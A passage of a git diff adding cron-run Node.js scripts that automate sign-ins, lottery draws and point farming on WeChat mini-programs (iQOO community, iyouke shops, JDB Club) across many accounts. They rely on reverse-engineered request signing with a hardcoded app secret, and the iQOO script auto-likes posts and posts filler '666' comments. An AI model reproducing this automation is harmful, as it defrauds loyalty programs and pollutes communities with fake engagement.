...extraHeaders, + }; + const res = await axios.request({ + method: "POST", url: `${BASE}${apiPath}`, data: form(body), + headers, timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const ts = chinaTs(); + const rand = Math.floor(1000000 + Math.random() * 8999999); + const body = { + systemInfo: systemInfo(), jcode: code, openid: "", scene: "1027", + memberId: "-1", cliqueId: "-1", cliqueMemberId: "-1", useClique: "0", + enterpriseId: "", unionid: "", wxOpenid: "", + random: String(rand), appid: MINI_APP_ID, transId: `${MINI_APP_ID}${ts}`, + sign: makeSign(ts, rand, "-1"), timestamp: ts, gicWxaVersion: "3.9.74", + launchOptions: launchOptions(1027), + }; + const res = await this.request(EP_LOGIN, body, { sign: "" }); + this.memberId = extractMemberId(res); + if (!this.memberId) { + this.unregistered = true; + throw new Error(`NO_MEMBER:${res?.errmsg || res?.msg || short(res)}`); + } + const cache = readCache(); + cache[this.account.openid] = { memberId: this.memberId, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功 (memberId ***${this.memberId.slice(-4)})`); + } + async sign() { + const ts = chinaTs(); + const rand = Math.floor(1000000 + Math.random() * 8999999); + const body = { + memberId: this.memberId, cliqueId: "-1", cliqueMemberId: "-1", useClique: "0", + enterpriseId: ENTERPRISE_ID, random: String(rand), sign: makeSign(ts, rand, this.memberId), + timestamp: ts, transId: `${MINI_APP_ID}${ts}`, gicWxaVersion: "3.9.74", + launchOptions: launchOptions(1256), + }; + const res = await this.request(EP_SIGN, body, { sign: ENTERPRISE_ID }); + const errcode = res?.errcode; + if (Number(errcode) === 0) { + const ms = (res.response || {}).memberSign || {}; + return this.log(`✅ 签到成功${ms.integralCount !== undefined ? `,积分 ${ms.integralCount}` : ""}${ms.continuousCount !== undefined ? `,连续 ${ms.continuousCount} 天` : ""}`); + } + const errmsg = res?.errmsg || res?.msg || (res?.response || {}).errmsg || short(res); + if (isAlreadyDone(errmsg)) return this.log(`✅ 今日已签到(${errmsg})`); + this.log(`❌ 签到失败(errcode=${errcode}): ${errmsg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.memberId && cached.memberId) { + // memberId 稳定,可直接用;但为保签到 sign 时效仍每次现算 ts/sign,故缓存仅省一次登录 + this.memberId = cached.memberId; + this.log("使用缓存 memberId"); + return; + } + if (!this.memberId) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_MEMBER")) { + this.log(`⚠️ 该微信号还没在此品牌(demogic)注册会员(登录取不到 memberId:${e.message.slice(10)}),先在小程序里注册一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/iqoo.js b/wxapp/iqoo.js new file mode 100644 index 00000000..655ab9a0 --- /dev/null +++ b/wxapp/iqoo.js @@ -0,0 +1,399 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: IQOO社区小程序 积分脚本 +cron: 30 8 * * * +------------------------------------------ +#Notice: +变量名 iqoo +变量值:wx_server 里的 openid/账号标识,多账户&或换行 +需要配置:wx_server_url、wx_auth + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("iqoo社区"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); + +const ckName = "iqoo"; +const strSplitor = "#"; +const MINI_APP_ID = "wxcf4266fbc9463132"; +const PAGE_VERSION = "253"; +const API_BASE = "https://bbs-api.iqoo.com/api/"; +const TOKEN_CACHE_FILE = path.join(__dirname, "iqoo_token_cache.json"); +const SIGN_SECRET = "2618194b0ebb620055e19cf9811d3c13"; +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027"; +const defaultUserAgent = USER_AGENT; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function shortToken(token = "") { + const value = String(token || "").replace(/^Bearer\s+/i, ""); + return value ? `${value.slice(0, 6)}***${value.slice(-6)}` : ""; +} + +function isSuccess(result) { + return Number(result?.Code) === 0; +} + +function isTokenError(message) { + return /-4011|401|403|token|登录|授权|请先登录|跳转到登录页|访客没有权限/i.test(String(message || "")); +} + +function maskName(value = "") { + const text = String(value || ""); + return text.length > 10 ? `${text.slice(0, 4)}***${text.slice(-3)}` : text; +} + +class Task { + constructor(env) { + this.index = $.userIdx++; + this.user = String(env || "").trim().split(strSplitor); + this.openid = this.user[0].trim(); + this.token = ""; + this.refreshToken = ""; + this.userId = ""; + this.userInfo = {}; + this.postId = ""; + this.threadId = ""; + this.visitor = crypto.createHash("md5").update(this.openid || String(Date.now())).digest("hex"); + } + + async run() { + const cached = this.getCachedToken(); + if (cached?.accessToken) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token: ${shortToken(this.token)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.userInfoRequest(); + await this.getTreadList(); + if (this.threadId && this.postId) { + await this.likePost(this.threadId, this.postId); + await $.wait(5000); + await this.sharePost(this.threadId); + await $.wait(5000); + await this.viewPost(this.threadId); + await $.wait(5000); + await this.commonPost(this.threadId); + } + await this.getDrawNum(); + await this.signIn(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + accessToken: this.token, + refreshToken: this.refreshToken, + userId: this.userId, + userInfo: this.userInfo, + visitor: this.visitor, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.refreshToken = ""; + this.userId = ""; + this.userInfo = {}; + } + + applyToken(data = {}) { + this.token = data.accessToken || data.token || ""; + this.refreshToken = data.refreshToken || ""; + this.userId = data.userId || data.uid || data.userInfo?.userId || data.userInfo?.uid || ""; + this.userInfo = data.userInfo || data.user || {}; + this.visitor = data.visitor || this.visitor; + } + + queryString(data = {}) { + const list = []; + for (const [key, value] of Object.entries(data || {})) { + if (value === undefined || value === null) continue; + list.push(`${encodeURIComponent(key)}=${encodeURIComponent(value)}`); + } + return list.join("&"); + } + + getSign(method, apiPath, data = {}) { + const upperMethod = method.toUpperCase(); + const timestamp = Math.floor(Date.now() / 1000); + const query = upperMethod === "GET" ? this.queryString(data) : ""; + const body = upperMethod === "GET" ? "" : JSON.stringify(data || {}); + const raw = `${upperMethod}&/api/${apiPath}&${query}&${body}&appid=1002×tamp=${timestamp}`; + const signature = crypto.createHmac("sha256", SIGN_SECRET).update(raw).digest("base64"); + return `IQOO-HMAC-SHA256 appid=1002,timestamp=${timestamp},signature=${signature}`; + } + + headers(method, apiPath, data, extra = {}) { + return { + Authorization: this.token ? `Bearer ${this.token}` : "Bearer ", + "X-Visitor": this.visitor, + "X-Platform": "mini", + SIGN: this.getSign(method, apiPath, data), + "Content-Nonce": "", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + ...extra, + }; + } + + async request(apiPath, data = {}, options = {}) { + const method = (options.method || "POST").toUpperCase(); + const req = { + method, + url: new URL(apiPath, API_BASE).toString(), + headers: this.headers(method, apiPath, data, options.headers || {}), + timeout: 20000, + validateStatus: () => true, + }; + if (method === "GET") req.params = data; + else req.data = data || {}; + + const { data: result, status } = await axios.request(req); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!isSuccess(result)) throw new Error(`${result?.Code ?? ""} ${result?.Message || JSON.stringify(result)}`.trim()); + return result; + } + + async getOperateData() { + if (!process.env.wx_auth) throw new Error("缺少 wx_auth,无法从 wx_server 获取登录数据"); + const url = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); + const { data } = await axios.post(`${url}/wx/getuserinfo`, { + appid: MINI_APP_ID, + openid: this.openid, + }, { + headers: { auth: process.env.wx_auth }, + timeout: 45000, + }); + const result = data?.data || {}; + if (!data?.status || !result.code || !result.encryptedData || !result.iv) { + throw new Error(`wx_server 未返回完整登录数据: ${JSON.stringify(data)}`); + } + return result; + } + + async loginByWxCode() { + try { + const wxData = await this.getOperateData(); + const payload = { + code: wxData.code, + encryptedData: wxData.encryptedData, + iv: wxData.iv, + from: 46, + }; + const result = await this.request("v3/users/vivo/mini", payload); + const data = result?.Data || {}; + const token = data.accessToken || data.token || ""; + if (!token) throw new Error(`登录响应未返回token: ${JSON.stringify(result)}`); + this.token = token; + this.refreshToken = data.refreshToken || ""; + this.userId = data.userId || data.uid || ""; + this.userInfo = data.user || data; + this.saveCachedToken(); + $.log(`账号[${this.index}] CODE登录成功: ${maskName(this.userInfo?.nickname || this.userInfo?.username || this.userId)}`); + } catch (e) { + $.log(`账号[${this.index}] CODE登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + if (!this.userId) return false; + await this.request("v3/user", { userId: this.userId }, { method: "GET" }); + return true; + } catch (e) { + return false; + } + } + + async userInfoRequest() { + if (!this.userId) return; + try { + const result = await this.request("v3/user", { userId: this.userId }, { method: "GET" }); + this.userInfo = result?.Data || this.userInfo; + this.saveCachedToken(); + const name = this.userInfo?.nickname || this.userInfo?.username || this.userInfo?.userName || this.userId; + const score = this.userInfo?.score ?? this.userInfo?.points ?? this.userInfo?.coolCoin ?? "未知"; + $.log(`账号[${this.index}] 用户:${maskName(name)} 酷币:${score}`); + } catch (e) { + const message = String(e.message || e); + $.log(`账号[${this.index}] 获取用户信息失败:${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async getDrawNum() { + try { + const result = await this.request("v3/today.draw.count", {}, { method: "GET" }); + if (result?.Data?.count === 0) { + await this.draw(); + } else { + $.log(`账号[${this.index}] 今日已抽奖`); + } + } catch (e) { + $.log(`账号[${this.index}] 查询抽奖次数失败:${e.message || e}`); + } + } + + async draw() { + try { + const result = await this.request("v3/luck.draw", {}); + $.log(`账号[${this.index}] 抽奖成功 获得${result?.Data?.prize_name || "奖励"}`); + } catch (e) { + $.log(`账号[${this.index}] 抽奖失败:${e.message || e}`); + } + } + + async signIn() { + try { + const result = await this.request("v3/sign", { from: "group" }); + $.log(`🌸账号[${this.index}]🕊当前已签到${result.Data.serialDays}天🎉 获得积分${result.Data.score} 当前积分${result.Data.scoreCount}`); + } catch (e) { + const message = String(e.message || e); + if (/已签|重复|今日|13006/.test(message)) { + $.log(`🌸账号[${this.index}] 今日已签到`); + return; + } + $.log(`🌸账号[${this.index}] 签到失败:${message}❌`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async likePost(threadId, postId) { + try { + await this.request("v3/posts.update", { id: threadId, postId, data: { attributes: { isLiked: true } } }); + $.log(`账号[${this.index}] 帖子点赞成功`); + } catch (e) { + $.log(`账号[${this.index}] 帖子点赞失败:${e.message || e}❌`); + } + try { + await this.request("v3/posts.update", { id: threadId, postId, data: { attributes: { isLiked: false } } }); + $.log(`账号[${this.index}] 帖子取消点赞成功`); + } catch (e) { + $.log(`账号[${this.index}] 帖子取消点赞失败:${e.message || e}❌`); + } + } + + async sharePost(threadId) { + try { + await this.request("v3/thread.share", { threadId }); + $.log(`账号[${this.index}] 帖子分享成功`); + } catch (e) { + $.log(`账号[${this.index}] 帖子分享失败:${e.message || e}❌`); + } + } + + async viewPost(threadId) { + try { + await this.request("v3/view.count", { threadId, type: 0 }, { method: "GET" }); + $.log(`账号[${this.index}] 帖子浏览成功`); + } catch (e) { + $.log(`账号[${this.index}] 帖子浏览失败:${e.message || e}❌`); + } + } + + async commonPost(threadId) { + try { + await this.request("v3/posts.create", { id: threadId, type: 0, content: "666", source: "", attachments: [] }); + $.log(`账号[${this.index}] 帖子评论成功`); + } catch (e) { + $.log(`账号[${this.index}] 帖子评论失败:${e.message || e}❌`); + } + } + + async getTreadList() { + try { + const result = await this.request("v3/thread.list", { + scope: 5, + page: 1, + perPage: 10, + "filter[sort]": 4, + "filter[essence]": 1, + sequence: 0, + }, { method: "GET" }); + const first = result?.Data?.pageData?.[0] || {}; + this.threadId = first.threadId || ""; + this.postId = first.postId || ""; + } catch (e) { + $.log(`账号[${this.index}] 获取帖子列表失败:${e.message || e}`); + } + } +} + +!(async () => { + await getNotice(); + $.checkEnv(ckName); + + for (const user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + const options = { + url: "https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json", + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000, + }; + const { data: res } = await axios.request(options); + $.log(res); + return res; + } catch (e) {} +} diff --git a/wxapp/iyouke.js b/wxapp/iyouke.js new file mode 100644 index 00000000..64e96992 --- /dev/null +++ b/wxapp/iyouke.js @@ -0,0 +1,284 @@ +/* +------------------------------------------ +@Description: iyouke / dtminds 平台通用 - 微信小程序静默登录 + 每日签到 + 一份脚本覆盖同平台的所有店铺小程序(KSOEUR、交个朋友、林痣晴Min…) +cron: 39 8 * * * +------------------------------------------ +变量名:iyouke +变量值:openid#appid[#备注],一行一个店铺,多行或 & 分隔 + openid = wx_server 里的账号标识(同一个 openid 能给所有 appid 取码) + appid = 该店铺小程序的 appid(同时作为必需的 appId 请求头) + 例:owNAX6vp****#wx00796053aa93af0c#KSOEUR + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(host smp-api.iyouke.com,所有路径都带 /dtapi 前缀): + +登录 POST /dtapi/appLogin {appType:1, principal:} + appType 1 = MINI(解包 AppType 枚举:MINI:1, MP:2…;2 是公众号 H5,别用) + -> {access_token, userId, openId, unionid, expires_in} + 鉴权头 Authorization: "bearer"+access_token —— **中间没有空格**, + 解包里就是 "bearer".concat(access_token),写成 "bearer xxx" 会 401 + 请求头 appId=<店铺 appid> 是**必需**的(不带回 {error:-99,"参数异常【1】"}); + version/envVersion 实测可省(它们来自小程序 ext 配置,只用于灰度/埋点) + +开关 GET /dtapi/pointsSign/config/queryShopSignEnable -> data 布尔,该店有没有开签到 +状态 GET /dtapi/pointsSign/user/pointsInfo/query + -> data.{pointsNums 积分, seriesDays 连签天数, signTodayResult 今天签没签} + signTodayResult 就是幂等判据,够用了,不用先去撞签到接口 +日历 GET /dtapi/pointsSign/user/sign/list?v4Flag=true + -> data[] 每天一条 {id, dateStr:"YYYY-MM-DD", daySignStatus, isToday} + daySignStatus 枚举(解包):1 missed 2 signed 3 waiting 4 cycle 5 forward + 6 couldSupply 7 supply +签到 GET /dtapi/pointsSign/user/sign?date=YYYY%2FMM%2FDD + **日期是斜杠不是横杠**:日历给的是 2026-08-18,签到要 2026/08/18(%2F), + 发横杠会被 Spring 挡在参数绑定层,回一个 message 为空的 400,极难看出原因 + -> {success:true, data:{signReward, extraSignReward}} + +信封:成功 {error:0, data:…, success:true};失败 {error:-99, errorMsg:"…", success:false} +不做:/pointsSign/user/sign/supply 之类的补签(要花 supplySignNeedPoints 积分)、 + 积分商城兑换、签到抽奖 —— 只做每天一次的幂等签到。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("iyouke平台签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "iyouke"; +const BASE = "https://smp-api.iyouke.com/dtapi"; +const TOKEN_CACHE_FILE = path.join(__dirname, "iyouke_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/appLogin"; +const EP_SIGN_ENABLE = "/pointsSign/config/queryShopSignEnable"; +const EP_POINTS = "/pointsSign/user/pointsInfo/query"; +const EP_SIGN_LIST = "/pointsSign/user/sign/list"; +const EP_SIGN = "/pointsSign/user/sign"; + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [openid, appid, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid, appid, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isOk = (res) => res && !res.__unauthorized && res.success !== false && Number(res.error || 0) === 0; +const msgOf = (res) => res?.errorMsg || res?.error_msg || res?.message || short(res); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.unbound = false; + this.wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: this.account.appid, + auth: process.env.wx_auth || "", + }); + } + + log(text) { + const tag = this.account.remark || this.account.appid || ""; + $.log(`账号[${this.index}]${tag ? `[${tag}]` : ""} ${text}`); + } + + async request(apiPath, { method = "GET", body = null, query = null, withAuth = true, rawQuery = "" } = {}) { + const headers = { + "Content-Type": "application/json", + Accept: "application/json, text/plain, */*", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${this.account.appid}/0/page-frame.html`, + xweb_xhr: "1", + // 这一项是必需的,服务端靠它认店铺 + appId: this.account.appid, + }; + if (withAuth && this.token) headers.Authorization = this.token; + // date 得保持 %2F 原样,不能被再编码一次,所以留了 rawQuery 这条路 + const qs = rawQuery + ? rawQuery + : query + ? Object.entries(query).map(([k, v]) => `${k}=${encodeURIComponent(v)}`).join("&") + : ""; + const res = await axios.request({ + method, + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: method === "GET" ? undefined : body || {}, + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) { + // 401 不当异常抛:它的常态是"这个微信号在该店铺还没绑定会员,只拿到匿名 token" + if (res.status === 401) return { __unauthorized: true, errorMsg: short(res.data, 80) }; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await this.wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + get cacheKey() { + return `${this.account.openid}#${this.account.appid}`; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { + method: "POST", + body: { appType: 1, principal: code }, + withAuth: false, + }); + if (!isOk(res) || !res.access_token) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = `bearer${res.access_token}`; + // 解包里 loginSuccess 就是按 userId 有无写 hadBindUser 的:没有 userId = 这个号 + // 在该店铺还没绑定会员,发下来的只是匿名 token,签到类接口会一律 401 + this.unbound = !res.userId; + const cache = readCache(); + cache[this.cacheKey] = { token: this.token, userId: res.userId, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${res.userId ? ` (userId ${res.userId})` : "(该店铺未绑定会员)"}`); + } + + /** 读积分/连签/今日是否已签;读不到返回 null(用于判断缓存 token 还活着没) */ + async points(needLog = true) { + const res = await this.request(EP_POINTS); + if (!isOk(res)) { + if (needLog) this.log(`读取积分失败: ${msgOf(res)}`); + return null; + } + const d = res.data || {}; + if (needLog) { + this.log(`积分 ${d.pointsNums ?? "-"},连签 ${d.seriesDays ?? "-"} 天,今日${d.signTodayResult ? "已签" : "未签"}`); + } + return d; + } + + async ensureLogin() { + const cached = readCache()[this.cacheKey] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if ((await this.points(false)) !== null) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + /** 今天那一格:日期字符串直接用服务端给的,不本地拼日期(时区/月末都不会错) */ + async todayCell() { + const res = await this.request(EP_SIGN_LIST, { query: { v4Flag: "true" } }); + if (!isOk(res)) { + this.log(`读取签到日历失败: ${msgOf(res)}`); + return null; + } + const rows = Array.isArray(res.data) ? res.data : []; + const cell = rows.find((r) => r && r.isToday); + if (!cell || !cell.dateStr) { + this.log(`签到日历里没有今天(共 ${rows.length} 条),不本地造日期`); + return null; + } + return cell; + } + + async sign() { + if (this.unbound) { + this.log("⚠️ 该微信号还没在这个店铺注册/绑定会员(登录只发到匿名 token,签到接口一律 401),先在小程序里注册一次再跑"); + return; + } + const enable = await this.request(EP_SIGN_ENABLE); + if (isOk(enable) && enable.data === false) { + this.log("该店铺没开每日签到,跳过"); + return; + } + const info = await this.points(); + if (info && info.signTodayResult) { + this.log("✅ 今日已签到"); + return; + } + const cell = await this.todayCell(); + if (!cell) return; + if (Number(cell.daySignStatus) === 2) { + this.log("✅ 今日已签到(日历状态 signed)"); + return; + } + // 签到接口只吃斜杠日期 + const dateParam = String(cell.dateStr).replace(/-/g, "%2F"); + const res = await this.request(EP_SIGN, { rawQuery: `date=${dateParam}` }); + if (isOk(res)) { + const d = res.data || {}; + const gain = Number(d.signReward || 0) + Number(d.extraSignReward || 0); + this.log(`✅ 签到成功${gain ? `,+${gain} 积分` : ""}`); + await this.points(); + return; + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid || !this.account.appid) { + this.log("跳过:变量值要写成 openid#appid[#备注]"); + return; + } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/jdbclub.js b/wxapp/jdbclub.js new file mode 100644 index 00000000..30acb8a0 --- /dev/null +++ b/wxapp/jdbclub.js @@ -0,0 +1,266 @@ +/* +------------------------------------------ +@Description: 加多宝Club(JDB俱乐部) - 微信小程序静默登录 + 每日签到 +cron: 5 10 * * * +------------------------------------------ +变量名:jdbclub +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx8371875e443e177f,host api-mp.jdbchina.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;鉴权双 token:unique_identity + apitoken) + +响应统一壳:{success:bool, msg, data} +登录 POST /geement.authjextra/api/v1/loginsession/2weichatmicroprogram + form: jscode= & app_id & client_code -> data.token (= unique_identity) +授权 GET /geement.authjextra/api/v1/common/nanoprogramauth + query: app_id & client_code & jscode=<第二个 wx.login code> -> data (= apitoken;失败则用 token 兜底) +业务头 unique_identity=token / apitoken=apitoken||token +用户 GET /geement.usercenter/api/v1/user/information -> data.extra_memberinfo.member_status(1=会员) +手机 POST /geement.authjextra/api/v1/loginsession/2weichatmicroprogram/getuserphonenumberwithcheckid + form: code=<新式手机号 phoneCode(/wx/getphonenumber)> & app_id & client_code -> data.check_id / data.phone_number +注册 POST /geement.usercenter/api/v1/user/informationvbyfiled (json,附 check_id) -> data.register_member_result.member_id +签到活动 GET /geement.marketingplay/api/v1/signin?status=30&pageNum=1&pageSize=1 -> data[0].activitydto.id +签到状态 GET /geement.marketingplay/api/v1/signin/userinfo?task_id= -> total_signindays / latest_signin_time +签到 POST /geement.marketingplay/api/v1/signin/signbyuser form: task_id= -> success + +CLIENT_CODE 是该小程序固定应用标识(原脚本硬编码,非个人凭证)。 +手机号走新式 phoneCode(/wx/getphonenumber 的 data.code),后端解密,不涉及老式 encryptedData+iv 配对。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("加多宝Club签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "jdbclub"; +const MINI_APP_ID = "wx8371875e443e177f"; +const CLIENT_CODE = "CLI2113448692"; +const PAGE_VERSION = "45"; +const BASE_URL = "https://api-mp.jdbchina.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "jdbclub_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/geement.authjextra/api/v1/loginsession/2weichatmicroprogram"; +const EP_AUTH = "/geement.authjextra/api/v1/common/nanoprogramauth"; +const EP_GET_PHONE = "/geement.authjextra/api/v1/loginsession/2weichatmicroprogram/getuserphonenumberwithcheckid"; +const EP_REGISTER = "/geement.usercenter/api/v1/user/informationvbyfiled"; +const EP_USER_INFO = "/geement.usercenter/api/v1/user/information"; +const EP_SIGNIN_LIST = "/geement.marketingplay/api/v1/signin"; +const EP_SIGNIN_USERINFO = "/geement.marketingplay/api/v1/signin/userinfo"; +const EP_SIGNIN_DO = "/geement.marketingplay/api/v1/signin/signbyuser"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 300) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function formEncode(obj) { + return Object.keys(obj).map((k) => `${encodeURIComponent(k)}=${encodeURIComponent(obj[k])}`).join("&"); +} +function chinaDateStr() { + const d = new Date(Date.now() + 8 * 3600 * 1000); + return `${d.getUTCFullYear()}-${String(d.getUTCMonth() + 1).padStart(2, "0")}-${String(d.getUTCDate()).padStart(2, "0")}`; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.apitoken = ""; + this.unregistered = false; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + 